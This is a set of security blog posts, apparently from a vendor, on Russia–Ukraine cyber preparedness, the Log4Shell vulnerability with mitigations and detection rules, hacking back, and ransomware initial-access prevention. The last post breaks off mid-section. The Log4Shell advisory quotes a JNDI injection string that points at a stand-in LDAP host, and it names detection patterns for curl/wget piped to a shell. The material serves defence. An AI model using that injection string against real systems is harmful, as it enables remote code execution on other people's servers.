Tensions between Russia and Ukraine remain elevated, with a high degree of uncertainty surrounding the likelihood of military conflict and its aftermath. As the US Cybersecurity and Infrastructure Agency (CISA) noted in a recent statement on these circumstances, while “there are not currently any specific credible threats to the US homeland,” there is the “potential for the Russian government to consider escalating its destabilizing actions in ways that may impact others outside of Ukraine.”
Heightened risk
There are reports that Russia is leveraging offensive cyber capabilities as the situation between Russia and Ukraine escalates. If the situation draws closer to conflict, these actions may also extend to potential retaliatory cyberattacks, or cyberattack campaigns, against critical physical and cyber infrastructure within countries that provide support to Ukraine. This may seem alarmist, but US and other Western entities have been under considerable attack from Russian-affiliated hacking groups for years. Government officials have long reported that such activities are supported or, at best, overlooked by the Russian government, and commentators and researchers have suggested this helps advance Russia’s political agenda. In June 2021, the sustained high level of these attacks against US critical infrastructure resulted in the US President Biden addressing the matter directly with Russia’s President Putin.
Moreover, events like NotPetya and Conficker have shown us that targeting in cyberspace is rarely precise, and collateral damage from cyberattacks can spread far beyond the original target.
Given the increased risk of damage from cyberattacks — whether a direct attack against Ukraine and its supporters or an indirect effect from an attack — it is prudent, as CISA notes, that “all organizations — regardless of size — adopt a heightened posture when it comes to cybersecurity and protecting their most critical assets” and business processes.
The following actions are highly recommended for all organizations. These practices should be taken even in the absence of a geopolitical conflict — threats to organizational cybersecurity were present before the recent Ukraine-Russian tensions and will be present afterwards.
Preparation for direct cyberattack
Fending off an attack from a well-resourced nation state is a nightmare scenario for most cybersecurity teams. However, there are some fundamental steps your organization can take to reduce both the likelihood of becoming a target, the severity of the damage, and the chances of success for an attacker.
CISA’s Shields Up advisory itemizes many steps that are sound practices to defend against any potential cyberattack, and we encourage all organizations to review each of them as part of their preparation plans.
Fundamentally, the guidance comes down to ensuring you have:
Safe and resilient configurations in your external internet and cloud asset and application deployments
Visibility into processes and network activity across all components of critical business functions
A well-tested incident response process in place to respond quickly and effectively to all cyber incursions
If your organization currently works with Ukrainian organizations, we echo CISA’s guidance to take extra care to monitor, inspect, and isolate traffic from those organizations and closely review access controls for that traffic.
US organizations should also keep CISA’s contact information (located at the end of their report) handy in both digital and physical form (in the event you cannot access digital assets) so you can engage them or the FBI in the event you are the victim of a direct cyberattack.
Preparation for cyber critical infrastructure attack
As noted, Russia is a very capable cyber adversary, but they cannot attack every asset/organization individually, all at once. There is a greater likelihood for larger-scale disruption or damage through the targeting of digital resources and Internet services that many people and organizations rely on.
Such attacks could take many forms, such as:
Denial of Service (DoS) attacks against central/large DNS and other “internet plumbing services” providers (remember the DynDNS DoS attack that brought down Twitter and many other sites back in 2016), which could result in loss of access to both your web- and app-based client-facing resources and your access to any Sofware-as-a-Service (SaaS) offerings, such as Salesforce, Concur, Zendesk, DocuSign, and other widely-used services.
DoS attacks against cloud business suite providers, such as Google Workspace or Microsoft 365, which could disrupt critical business communications for a period of time.
Extended DoS and targeted ”destructionware” attacks, which could prevent the operation of services and execution of key business processes. Like NotPetya and Olympic Destroyer, destructionware aims to — via encryption or deletion — destroy the capabilities of the machines it infects.
Large-scale DoS attacks against critical network routing segments, and mass BGP hijacking campaigns.
Now would be a good time to itemize all the third-party dependencies in your critical business processes and to draft a plan for ensuring continuity of these processes if each of those services became unavailable for some period of time. It would also be prudent to start identifying alternate providers for each service component and drafting rapid migration plans for each.
For the network-level attacks mentioned above, there isn’t much you can do when it comes to centralized network point DoS, but you can help increase your resilience to BGP hijacking by implementing safe BGP practices and encouraging your business partners and ISPs to do the same.
If tensions become seriously strained, there is a non-zero (but likely very low) chance of direct cyberattacks aimed at causing damage to US and allied physical infrastructure. The US alone has a large number of critical infrastructure facilities — many of which are privately owned — that are still in the process of strengthening their cybersecurity defenses and capabilities. This includes entities that all businesses rely on, such as electricity providers, emergency health services, transportation, and financial institutions.
Acknowledging the relatively low likelihood but high impact of a crippling cyberattack, now would be a good time to review and update (as necessary) your business continuity and disaster recovery (BC/DR) plans and playbooks, and perhaps run an exercise (or two!) that involves loss of one or more critical infrastructure components.
Don’t panic
While there is cause for concern and preparation, there is no cause for panic or overreaction. It is, however, very appropriate to take some time to review your security posture, understand this heightened threat level, and engage stakeholders in an assessment of if — and how — you should proceed to shore up any areas that have gaps.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
If you work in security, the chances are that you have spent the last several days urgently responding to the Log4Shell vulnerability (CVE-2021-44228), investigating where you have instances of Log4j in your environment, and questioning your vendors about their response. You have likely already read up on the implications and steps that need to be taken. This blog is for everyone else who wants to understand what’s going on and why the internet seems to be on fire again. And for you security professionals, we’ve also included some questions on the broader implications and long term view. You know, for all that spare time you have right now.
What is Log4Shell?
Log4Shell — also known as CVE-2021-44228 — is a critical vulnerability that enables remote code execution in systems using the Apache Foundation’s Log4j, which is an open-source Java library that is extensively used in commercial and open-source software products and utilities. For a more in-depth technical assessment of Log4Shell check out Rapid7’s AttackerKB analysis.
What is Log4j?
Log4j is one of the most common tools for sending text to be stored in log files and/or databases. It is used in millions of applications and websites in every organization all across the internet. For example, information is sent to keep track of website visitors, note when warnings or errors occur in processing, and help support teams’ triage problems.
Get answers to your Log4Shell questions from our experts
It turns out that Log4j doesn’t just log plain strings. Text strings that are formatted a certain way will be executed just like a line from a computer program. The problem is that this allows malicious actors to manipulate computers all over the internet into taking actions without the computer owners’ wishes or permission. Cyberattacks can use this to steal information, force actions, or extort the computer owners or operators.
This vulnerability is what we’re referring to as Log4Shell, or CVE-2021-44228. Log4j is the vulnerable technology. As this is a highly evolving situation, you can always head over to our main live blog on Log4Shell.
Is it really that big of a deal?
In a word, yes.
Caitlin Kiska, an information security engineer at Cardinal Health, put it this way: “Imagine there is a specific kind of bolt used in most of the cars and car parts in the world, and they just said that bolt needs to be replaced.” Glenn Thorpe, Rapid7’s Emergent Threat Response Manager added, “… and the presence of that bolt allows anyone to just take over the car.”
The first issue is Log4j’s widespread use. This little tool is used in countless systems across the internet, which makes remediation or mitigation of this into a huge task — and makes it more likely something might get missed.
The second issue is that attackers can use it in a variety of ways, so the sky is sort of the limit for them.
Perhaps the biggest concern of all is that it’s actually pretty easy to use the vulnerability for malicious purposes. Remote code execution vulnerabilities are always concerning, but you hope that they will be complicated to exploit and require specialist technical skill, limiting who can take advantage of them and slowing down the pace of attacks so that defenders can ideally take remediation action first. That’s not the case with Log4Shell. The Log4j tool is designed to send whatever data is inputted in the right format, so as long as attackers know how to form their commands into that format (which is not a secret), they can take advantage of this bug, and they currently are doing just that.
That sounds pretty bad. Is the situation hopeless?
Definitely not. The good news is that the Apache Foundation has updated Log4j to address the vulnerability. All organizations urgently need to check for the presence of this vulnerability in their environment and update affected systems to the latest patched version.
The first update — version 2.15.0 — was released on December 6, 2021. As exploitation ramped up in the wild, it became clear that the update did not fully remediate the issue in all use cases, a vulnerability that the National Vulnerability Database (NVD) codified as CVE-2021-45046.
As a result, on December 13, the Apache Foundation released version 2.16.0, which completely removes support for message lookup patterns, thus slamming the door on JNDI functionality completely and possibly adding to development team backlogs to update material sections on their codebase that handle logging.
That sounds straightforward, right?
Unfortunately, it’s likely going to be a pretty huge undertaking and likely require different phases of discovery and remediation/mitigation.
Remediation
The first course of action is to identify all vulnerable applications, which can be a mix of vendor-supplied solutions and in-house developed applications. NCSC NL is maintaining a list of impacted software, but organizations are encouraged to monitor vendor advisories and releases directly for the most up-to-date information.
For in-house developed applications, organizations — at a minimum — need to update their Log4j libraries to the latest version (which, as of 2021-12-14, is 2.16) and apply the mitigations described in Rapid7’s initial blog post on CVE-2021-44228, which includes adding a parameter to all Java startup scripts and strongly encourages updating Java virtual machine installations to the latest, safest versions. An additional resource, published by the Apache Security Team, provides a curated list of all affected Apache projects, which can be helpful to expedite identification and discovery.
If teams are performing “remote” checks (i.e., exploiting the vulnerability remotely as an attacker would) versus local filesystems “authenticated” checks, the remote checks should be both by IP address and by fully qualified domain name/virtual host name, as there may be different routing rules in play that scanning by IP address alone will not catch.
These mitigations must happen everywhere there is a vulnerable instance of Log4j. Do not assume that the issue applies only to internet-facing systems or live-running systems. There may be batch jobs that run hourly, daily, weekly, monthly, etc., on stored data that may contain exploit strings that could trigger execution.
Forensics
Attacks have been active since at least December 1, 2021, and there is evidence this weakness has been known about since at least March of 2021. Therefore, it is quite prudent to adopt an “assume breach” mindset. NCSC NL has a great resource page on ways you can detect exploitation attempts from application log files. Please be aware that this is not just a web-based attack. Initial, quite public, exploit showcases included changing the name of iOS devices and Tesla cars. Both those companies regularly pull metadata from their respective devices, and it seems those strings were passed to Log4j handlers somewhere in the processing chain. You should review logs from all internet-facing systems, as well as anywhere Log4j processing occurs.
Exploitation attempts will generally rely on pulling external resources in (as is the case with any attack after gaining initial access), so behavioral detections may have already caught or stopped some attacks. The Log4j weakness allows for rather clever data exfiltration paths, especially DNS. Attackers are pulling values from environment variables and files with known filesystems paths and creating dynamic domain names from them. That means organizations should review DNS query logs going as far back as possible. Note: This could take quite a bit of time and effort, but it must be done to ensure you’re not already a victim.
Proactive response
Out of an abundance of caution, organizations should also consider re-numbering critical IP segments (where Log4j lived), changing host names on critical systems (where Log4j lived), and resetting credentials — especially those associated with Amazon AWS and other cloud providers — in the event they have already been exfiltrated.
Who should be paying attention to this?
Pretty much every organization, regardless of size, sector, or geography. If you have any kind of web presence or internet connectivity, you need to pay attention and check your status. If you outsource all the technical aspects of your business, ask your vendors what they are doing about this issue.
Who is exploiting it and how?
Kind of… everyone.
“Benign” researchers (some independent, some part of cybersecurity firms) are using the exploit to gain an initial understanding of the base internet-facing attack surface.
Cyberattackers are also very active and are racing to take advantage of this vulnerability before organizations can get their patches in place. Botnets, such as Mirai, have been adapted to use the exploit code to both exfiltrate sensitive data and gain initial access to systems (some deep within organizations).
Ransomware groups have already sprung into action and weaponized the Log4j weakness to compromise organizations. Rapid7’s Project Heisenberg is collecting and publishing samples of all the unique attempts seen since December 11, 2021.
How are things likely to develop?
These initial campaigns are only the beginning. Sophisticated attacks from more serious and capable groups will appear over the coming days, weeks, and months, and they’ll likely focus on more enterprise-grade software that is known to be vulnerable.
Most of the initial attack attempts are via website-focused injection points (input fields, search boxes, headers, etc.). There will be more advanced campaigns that hit API endpoints (even “hidden” APIs that are part of company mobile apps) and try to find sneaky ways to get exploit strings past gate guards (like the iOS device renaming example).
Even organizations that have remediated deployed applications might miss some virtual machine or container images that get spun up regularly or infrequently. The Log4Shell attacks are easily automatable, and we’ll be seeing them as regularly as we see WannaCry and Conficker (yes, we still see quite a few exploits on the regular for those vulnerabilities).
Do we need to worry about similar vulnerabilities in other systems?
In the immediate term, security teams should narrow their attention to identify systems with the affected Log4j packages.
For the longer term, while it is impossible to forecast identification of similar vulnerabilities, we do know the ease and prevalence of CVE-2021-44228 demands the continued attention (been a long weekend for many) of security, infrastructure, and application teams.
Along with Log4Shell, we also have CVE-2021-4104 — reported on December 9, 2021 — a flaw in the Java logging library Apache Log4j in version 1.x. JMSAppender that is vulnerable to deserialization of untrusted data. This allows a remote attacker to execute code on the server if the deployed application is configured to use JMSAppender and to the attacker’s JMS Broker. Note this flaw only affects applications that are specifically configured to use JMSAppender, which is not the default, or when the attacker has write-access to the Log4j configuration for adding JMSAppender to the attacker’s JMS Broker.
Exploit vectors of Log4Shell and mitigations reported on Friday continue to evolve as reported by our partners at Snyk.io and Java Champion, Brian Vermeer — see “Editor’s note (Dec. 13, 2021)” — therefore, continued vigilance on this near and present threat is time well spent. Postmortem exercises (and there will be many) should absolutely include efforts to evolve software, open-source, and package dependency inventories and, given current impacts, better model threats from packages with similar uninspected lookup behavior.
Does this issue indicate that we should stop compiling systems and go back to building from scratch?
There definitely has been chatter regarding the reliance upon so many third-party dependencies in all areas of software development. We’ve seen many attempts at poisoning numerous ecosystems this year, everything from Python to JavaScript, and now we have a critical vulnerability in a near-ubiquitous component.
On one hand, there is merit in relying solely on code you develop in-house, built on the core features in your programming language of choice. You can make an argument that this would make attackers’ lives harder and reduce the bang they get for their buck.
However, it seems a bit daft to fully forego the volumes of pre-built, feature-rich, and highly useful components. And let’s not forget that not all software is created equally. The ideal is that community built and shared software will benefit from many more hands to the pump, more critical eyes, and a longer period to mature.
The lesson from the Log4Shell weakness seems pretty clear: Use, but verify, and support! Libraries such as Log4j benefit from wide community adoption, since they gain great features that can be harnessed quickly and effectively. However, you cannot just assume that all is and will be well in any given ecosystem, and you absolutely need to be part of the community vetting change and feature requests. If more eyes were on the initial request to add this fairly crazy feature (dynamic message execution) and more security-savvy folks were in the approval stream, you would very likely not be reading this post right now (and it’d be one of the most boring Marvel “What If…?” episodes ever).
Organizations should pull up a seat to the table, offer code creation and review support, and consider funding projects that become foundational or ubiquitous components in your application development environment.
How would a Software Bill of Materials (SBOM) have impacted this issue?
A Bill of Materials is an inventory, by definition, and conceptually should contribute to speeding the discovery timeline during emergent vulnerability response exercises, such as the Log4j incident we are communally involved in now.
An SBOM is intended to be a formal record that contains the details and supply chain relationships of various components used in software, kind of like an ingredients list for technology. In this case, those components would include java libraries used for logging (e.g. Log4j2).
SBOM requirements were included in the US Executive Order issued in May 2021. While there may be international variations, the concept and intended objects are uniform. For that reason, I will reference US progress for simplicity.
From: The Minimum Elements For a Software Bill of Materials (SBOM), issued Department of Commerce, in coordination with the National Telecommunications and Information Administration (NTIA), Jul 12, 2021
The question many Log4Shell responders — including CISOs, developers, engineers, sys admins, clients, and customers — are still grappling with is simply where affected versions of Log4j are in use within their technical ecosystems. Maintaining accurate inventories of assets has become increasingly challenging as our technical environments have become more complicated, interconnected, and wide-reaching. Our ever-growing reliance on internet-connected technologies, and the rise of shadow IT only make this problem worse.
Vulnerabilities in tools like Log4j, which is used broadly in a vast array of technologies and systems, highlight the need for more transparency and automation for asset and inventory management. Perhaps the longer-term substantive impact from Log4Shell will be to refocus investments and appreciation for the cruciality of an accurate inventory of software and associated components through an SBOM that can easily be queried and linked to dependencies.
The bottom line is that if we had lived in a timeline where SBOMs were required and in place for all software projects, identifying impacted products, devices, and ecosystems would have been much easier than it has been for Log4Shell and remediation would likely be faster and more effective.
How does Log4Shell impact my regulatory status — do I need to take special action to ensure compliance?
According to Rapid7’s resident policy and compliance expert, Harley Geiger, “Regulators may not have seen Log4Shell coming, but now that the vulnerability has been discovered, there will be an expectation that regulated companies address it. As organizations’ security programs address this widespread and serious vulnerability, those actions should be aligned with compliance requirements and reporting. For many regulated companies, the discovery of Log4Shell triggers a need to re-assess the company’s risks, the effectiveness of their safeguards to protect sensitive systems and information (including patching to the latest version), and the readiness of their incident response processes to address potential log4j exploitation. Many regulations also require these obligations to be passed on to service providers. If a Log4j exploitation results in a significant business disruption or breach of personal information, regulations may require the company to issue an incident report or breach notification.”
We also asked Harley whether we’re likely to see a public policy response. Here’s what he said…
“On a federal policy level, organizations should expect a renewed push for adoption of SBOM to help identify the presence of Log4j (and other vulnerabilities) in products and environments going forward. CISA has also required federal agencies to expedite mitigation of Log4j and has ramped up information sharing related to the vulnerability. This may add wind to the sails of cyber incident reporting legislation that is circulating in Congress at present.”
How do we know about all of this?
Well, a bunch of kids started wreaking havoc with Minecraft servers, and things just went downhill from there. While there is some truth to that, the reality is that an issue was filed on the Log4j project in late November 2021. Proof-of-concept code was released in early December, and active attacks started shortly thereafter. Some cybersecurity vendors have evidence of preliminary attacks starting on December 1, 2021.
Anyone monitoring the issue discussions (something both developers, defenders, and attackers do on the regular) would have noticed the gaping hole this “feature” created.
How long has it been around?
There is evidence of a request for this functionality to be added dating back to 2013. A talk at Black Hat USA 2016 mentioned several JNDI injection remote code execution vectors in general but did not point to Log4j directly.
Some proof-of-concept code targeting the JNDI lookup weakness in Log4j 2.x was also discovered back in March of 2021.
Fear, Uncertainty, and Doubt (FUD) is in copious supply today and likely to persist into the coming weeks and months. While adopting an “assumed breach” mindset isn’t relevant for every celebrity vulnerability, the prevalence and transitive dependency of the Log4j library along with the sophisticated obfuscation exploit techniques we are witnessing in real time point out that the question we should be considering isn’t, “How long has it been around?” Rather, it is, “How long should we be mentally preparing ourselves (and setting expectations) to clean it up?”
Get more critical insights about defending against Log4Shell
IVM authenticated and remote content available as of December 12, 2021. Container Security assessment available as of December 10, 2021.
Immediately (emergency)
December 12, 2021 9:38pm ET
On December 10, 2021, Apache released version 2.15.0 of their Log4j framework, which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system.
CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability. Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-44228.
A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.
Affected versions
According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled.
Mitigation and detection guidance
Security teams and network administrators should update to Log4J 2.15.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) and local system events on web application servers executing curl and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.
According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0.
In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.
For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.10, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.
Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:” in any inbound request and monitoring all application and web server logs for similar strings.
Rapid7 has released an authenticated vulnerability check with identifier apache-log4j-core-cve-2021-44228 via a content update on December 12, 2021. This authenticated check uses the find command on Unix-like systems to identify vulnerable versions of the Log4j JAR files.
Please note that this new check will require the Security Console and Scan Engine to be updated to version 6.6.118, also released on December 12, and will not be functional with the content-only release. This will require Consoles and Engines to be restarted.
A remote check is also available as of 9 PM EST December 12, 2021 with Check ID apache-log4j-core-cve-2021-44228-remote. This check runs during network scans and will attempt to trigger a connection back to the Scan Engine in order to determine vulnerable status. This check is platform-independent, targeting Windows, Linux, and other operating systems.
We have also begun roll-out of Insight Agent version 3.1.2.36, which includes collection support for Log4j JAR files. This means vulnerability assessments of the authenticated check for CVE-2021-44228 will work for Agent-enabled systems that take the new version. Customers relying on the Insight Agent for vulnerability management may want to consider setting the Throttle level to High (which is the default) to ensure updates are applied as quickly as possible.
InsightVM customers utilizing Container Security can assess containers that have been built with a vulnerable version of the library.
InsightIDR and Managed Detection and Response
Rapid7 InsightIDR has several detections that will identify common follow-on activity used by attackers. Additionally, our teams are reviewing our detection rule library to ensure we have detections based on any observed attacker behavior related to this vulnerability seen by our Incident Response (IR), MDR, and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors.
[Update: December 10, 2021 3:30pm ET]
Our Threat Detection & Response team has deployed detection rules to help identify attacker behavior related to this vulnerability:
Attacker Technique – Curl or Wget To Public IP Address With Non Standard Port
Suspicious Process – Curl or WGet Pipes Output to Shell
We also identified an existing detection rule that that was providing coverage prior to identification of the vulnerability:
Suspicious Process – Curl to External IP Address
[Update: December 10, 2021 7:00pm ET]
An additional rule has been deployed:
Attacker Technique – Curl Or WGet To External IP Reporting Server IP In URL
Velociraptor
A Velociraptor artifact has been added that can be used to hunt against an environment for exploitation attempts against log4j RCE vulnerability. A second Velociraptor artifact that looks for certain known-vulnerable JAR files was also added on December 12, 2021.
tCell
You can enable partial protection by following these two steps:
The InsightCloudSec and InsightVM integration will identify cloud instances which are vulnerable to CVE-2021-44228 in InsightCloudSec. Customers can use the context and enrichment of ICS to identify instances which are exposed to the public or attached to critical resources.
Applying two Insight filters — Instance Vulnerable To Log4Shell and Instance On Public Subnet Vulnerable To Log4Shell — will enable identification of publicly exposed vulnerable assets and applications.
InsightCloudSec Filters for Log4J/Log4Shell VulnerabilitiesResults of applying the filter to the asset inventory (in this case no assets are vulnerable)
[December 11, 2021, 11:15am ET]
Added additional resources for reference and minor clarifications.
[December 11, 2021, 4:30pm ET]
VMware has published an advisory listing 30 different VMware products vulnerable to CVE-2021-44228, including vCenter Server, Horizon, Spring Cloud, Workspace ONE Access, vRealize Operations Manager, and Identity Manager. Their response matrix lists available workarounds and patches, though most are pending as of December 11.
Rapid7 has observed indications from the research community that they have already begun investigating RCE exploitability for products that sit in critical places in corporate networks, including network infrastructure solutions like vCenter Server. VMware customers should monitor this list closely and apply patches and workarounds on an emergency basis as they are released.
[December 11, 2021, 10:00pm ET] Apache Struts 2 Vulnerable to CVE-2021-44228
The Apache Struts 2 framework contains static files (Javascript, CSS, etc) that are required for various UI components. Finding and “serving” these components is handled by the Struts 2 class DefaultStaticContentLoader. The DefaultStaticContentLoader is vulnerable to Log4j CVE-2021-44228;
given the default static content, basically all Struts implementations should be trivially vulnerable. Rapid7’s vulnerability research team has technical analysis, a simple proof-of-concept, and an example log artifact available in AttackerKB.
[December 12, 2021, 2:20pm ET]
InsightVM and Nexpose customers can now assess their exposure to CVE-2021-44228 with an authenticated vulnerability check. Note that this check requires that customers update their product version and restart their console and engine. See the Rapid7 customers section for details.
[December 13, 2021, 10:30 ET]
Updated mitigations section to include new guidance from Apache Log4J team and information on how to use InsightCloudSec + InsightVM to help identify vulnerable instances.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
2021 has been a banner year in terms of the frequency and diversity of cybersecurity breaking news events, with ransomware being the clear headline-winner. While the DarkSide group (now, in theory, retired) may have captured the spotlight early in the year due to the Colonial Pipeline attack, REvil — the ransomware-as-a-service group that helped enable the devastating Kaseya mass ransomware attack in July — made recent headlines as they were summarily shuttered by the FBI in conjunction with Cyber Command, the Secret Service, and like-minded countries.
This was a well-executed response by government agencies with the proper tools and authority to accomplish a commendable mission. While private-sector entities may have participated in this effort, they will have done so through direct government engagement and under the same oversight.
More recently, the LockBit and Marketo ransomware groups suffered distributed denial of service (DDoS) attacks, as our colleagues at IntSights reported, in retaliation for their campaigns: one targeting a large US firm, and another impacting a US government entity.
The former of these two DDoS attacks falls into a category known colloquially as “hack back.” Our own Jen Ellis did a deep dive on hacking back earlier this year and defined the practice as “non-government organizations taking intrusive action against a cyber attacker on technical assets or systems not owned or leased by the person taking action or their client.”
The thorny path of hacking back
Hack back, as used by non-government entities, is problematic for many reasons, including:
Group attribution is hard, and most organizational cybersecurity teams are ill-equipped to conduct sufficiently thorough research to gain a high enough level of accuracy to ensure they know who the source really is/was.
Infrastructure used to conduct attacks is often compromised assets of legitimate organizations, and taking direct action against them can cause real harm to other innocent victims.
It is very likely illegal in most jurisdictions.
As our IntSights colleagues noted, the LockBit and Marketo DDoS hack-back attacks did take the groups offline for weeks and temporarily halted ransomware campaigns associated with their infrastructure. But the groups are both back online, and they — along with other groups — appear to be going after less problematic targets, a (hopefully) unexpected, unintended, but very real consequence of these types of cyber vigilante actions.
Choosing a more productive path
While the temptation may be strong to inflict righteous wrath upon those who have infiltrated and victimized your organization, there are ways to channel your reactions into active defense strategies that can help you regain a sense of control, waste attackers’ time (a precious resource for them), contribute to the greater good, and help change the economics of attacks enough to effect real change. Here are 3 possible alternative routes to consider.
1. Improve infrastructure visibility
You can only effect change in environments that have been instrumented for measurement. While this is true for cybersecurity defense in general, it is paramount if you want to take the step into contributing to the community efforts to reduce the levels and impacts of cybercrime (more on that later).
You have to know what assets are in play, where they are, the state they are in, and the activity happening on and between them. If you aren’t outfitted for that now, thankfully it’s the holiday season, and you still have time to get your shopping list to Santa (a.k.a. your CISO/CFO). If you’re strapped for cash, open-source tools and communities such as MISP provide a great foundation to build upon.
2. Invest in information sharing and analysis
There are times when it feels like we may be helpless in the face of so many adversaries and the daily onslaught of attacks. However, we protectors have communities and resources available that can help us all become safer and more resilient. If your organization isn’t part of at least one information sharing and analysis organization (ISAO), that is your first step into both regaining a sense of control and giving you and your cybersecurity teams active, positive steps you can take on a daily basis to secure our entire ecosystem. An added incentive to join one or more these groups is that many of them gain real-time cross-vendor insights via the Cyber Threat Alliance, a nonprofit that is truly leveling up protectors across the globe.
These groups share tools, techniques, and intelligence that enable you to level up your organization’s defenses and can help guide you through the adoption of cutting-edge, science-driven frameworks such as MITRE’s ATT&CK and D3FEND.
3. Consider the benefits of deception technology
“Oh! What a tangled web we weave when first we practice to deceive!”
Sir Walter Scott may not have had us protectors in mind when he penned that line, but it is a vital component of modern organizational cyber defenses. Deception technology can provide rich intelligence on attacker behavior (which you can share with the aforementioned ISAOs!), keep attackers in a playground safe from your real assets, and — perhaps most importantly — waste their time.
Being a victim of a cyberattack of any magnitude is something we all hope to help our organizations avoid. Even if you’re a single-person “team” overseeing cybersecurity for your entire organization, you don’t have to go it alone, and you definitely do not have to give in to the thought of hacking back to “get even” with your adversaries.
As we’ve noted, there are many organizations who are there to help you channel your energies into building solid defenses and intelligence gathering practices to help you and the rest of us be safer and more resilient. Let’s leave the hacking back to the professionals we’ve tasked with legal enforcement and focus on protecting what’s in our purview.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
In the military, the term “left of boom” refers to the strategy and tactics required to prevent — and protect personnel from — explosions by making proactive decisions before the event happens. Unless you’ve been fortunate enough to avoid tech and media press for the past 24 months, it should be clear by now that cyberattacks most certainly qualify as “boom” events, with the potential to cause reputational, financial, and even real-life physical harm to businesses, communities, and individuals, many of whom are truly innocent bystanders.
While telemetry-fueled detection and well-honed response plans are foundational components of truly effective cybersecurity programs, they are definitely “right of boom,” and we should not be so quick to cede ground to attackers with an “assume breach” mindset. Cybersecurity teams have myriad defense and mitigation strategies at their disposal to help ensure a sizable percentage of attackers never even have the chance to waltz their way through the killchain. In this post, we’ll use ransomware as an example for 3 left-of-boom areas to focus on (via the MITRE ATT&CK framework.)
The ransomware “booms”
One might argue that the singular “boom” of ransomware is the encryption of business critical information and assets, but attackers now also hunt for juicy data they can use for many purposes, including to pressure a target to pay or suffer a data disclosure event on top of a business-disrupting lock-up. There is another emerging scenario that adds a compounding denial-of-service attacks (or multiple attacks) into the mix – note that pure denial-of-service extortion, or “RansomDoS” in the modern vernacular, is out of scope for this post.
Knowing the potential negative outcomes, what can teams focus on ahead of time to help prevent these outcomes and protect their organizations? For ransomware (and, really, the vast majority of cyberattacks today), the main goal is to prevent initial access into your environment, so let’s explore what you need to do to stay left of that particular boom. Since there are many techniques used to gain initial access, we’ll focus the rest of the post on 3 areas (T1190, T1133, and T1078) and give you some tips on how to apply the same left-of-boom thinking to other ones.
Attack surface management (ASM) is just a 2021 pretty bow wrapped around the term “asset management” in the hopes that organizations will finally recognize the need for it, realizing that they aren’t just deploying cool services and capabilities but also providing potential inroads for attackers. With ASM, your goal is to understand:
What devices, operating systems, and software are deployed on your perimeter, intranet, and remote endpoints
The safe and resilient configurations required for those elements
The current state of those elements
You cannot get left of boom for a ransomware attack, and many other cyberattacks, without a functional ASM practice in place. This requires having a close partnership with your procurement department and IT endpoint/server/cloud operations teams, as well as the tools (proprietary or open-source) to help with organization and verification.
It’s vital to understand what you’re exposing to the internet — since that’s what attackers can directly see and touch — but it’s also critical to know the status of each node that may be involved in initial access attempts, including desktops, laptops, and mobile devices.
If you can stay ahead of exposing unpatched or unsafe services to the internet and keep your workforce systems patched and configured safely in a timely fashion, you’ll make it difficult to impossible for attackers to use known exploits (one of the most common methods in 2021) to achieve the access they need to carry out the rest of their campaign using that technique.
Even before our brave, newly expanded world of remote work, organizations needed ways for their workforce to access critical systems and applications outside the confines of the intranet. These include solutions such as virtual private networks (VPNs), remote desktop protocol (RDP), Citrix, and similar technologies. By their nature, these systems need to be configured well from the start, patched almost immediately, and require trusted authorized access (more on that in the last “boom”).
Your team needs to monitor each gateway vendor for patch/mitigation announcements and partner with all critical stakeholders to ensure you can change configurations or patch in an expedited fashion — which may mean having enough capacity and redundancy to take one set of systems down for patching but still let work continue. You should also have continuous configuration monitoring to ensure settings stay the way you need them to be.
←←←💥 Credentials, credentials, credentials
